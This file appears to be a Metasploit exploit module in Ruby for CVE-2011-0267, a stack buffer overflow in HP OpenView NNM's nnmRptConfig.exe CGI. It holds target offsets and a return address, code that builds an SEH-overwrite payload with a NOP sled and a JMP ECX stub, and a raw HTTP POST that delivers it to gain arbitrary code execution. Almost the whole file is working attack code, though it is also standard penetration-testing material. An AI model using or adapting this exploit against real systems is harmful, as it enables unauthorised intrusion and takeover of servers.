94 lines
2.9 KiB
Ruby
94 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::Seh
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def initialize(info={})
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super(update_info(info,
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'Name' => "HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow",
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'Description' => %q{
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This module exploits NNM's nnmRptConfig.exe. Similar to other NNM CGI bugs,
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the overflow occurs during a ov.sprintf_new() call, which allows an attacker to
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overwrite data on the stack, and gain arbitrary code execution.
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},
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'License' => MSF_LICENSE,
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'Author' => ['sinn3r'],
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'References' =>
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[
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['CVE', '2011-0267'],
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['OSVDB', '70473'],
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['ZDI', '11-009'],
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],
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'Payload' =>
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{
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'BadChars' => "\x00\x26\x2b",
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => "seh",
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'NNM 7.53 - Windows Server 2003 Ent', {
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'Ret' => 0x5A30532D, #POP/POP/RET OvWww.dll
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'Offset' => 46919, #Offset to SEH chain
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'Pops' => 13, #Number of POPADs needed to find a bigger space with our payload
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'Payloadoffset' => 57, #Offset to the payload
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}],
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],
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'DisclosureDate' => "Jan 10 2011"))
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end
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def exploit
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nops = make_nops(1000)*70
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sploit = nops[0, target['Offset']]
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sploit << generate_seh_record(target.ret)
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sploit << "\x61"*target['Pops']
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sploit << "\xff\xe1" #JMP ECX
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sploit << nops[0, target['Payloadoffset']]
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sploit << payload.encoded
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sploit << nops[0, 70000-sploit.length]
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data = "Content&Action=Create&"
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data << "Template=Avail/CRAvail&"
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data << "Operation=Apply&"
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data << "Params=schdParams+nameParams&"
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data << "schdParams=#{sploit}%7Cmonthtodate&"
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data << "nameParams=text1%3DAAAA%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"
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connect
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send_request_raw({
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'uri' => '/OvCgi/nnmRptConfig.exe',
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'data' => data,
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'version' => '1.1',
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'method' => 'POST',
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'headers' => {
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'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
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'Accept-Language' => 'en-us,en;q=0.5',
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'Accept-Encoding' => 'gzip,deflate',
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'Accept-Chrarset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
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'Keep-Alive' => '300',
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'Connection' => 'Keep-Alive',
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'Cache-Control' => 'mag-age=0',
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'Content-Length' => data.length,
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'Content-Type' => 'application/x-www-form-urlencoded',
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}
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}, 3)
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handler
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disconnect
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end
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end
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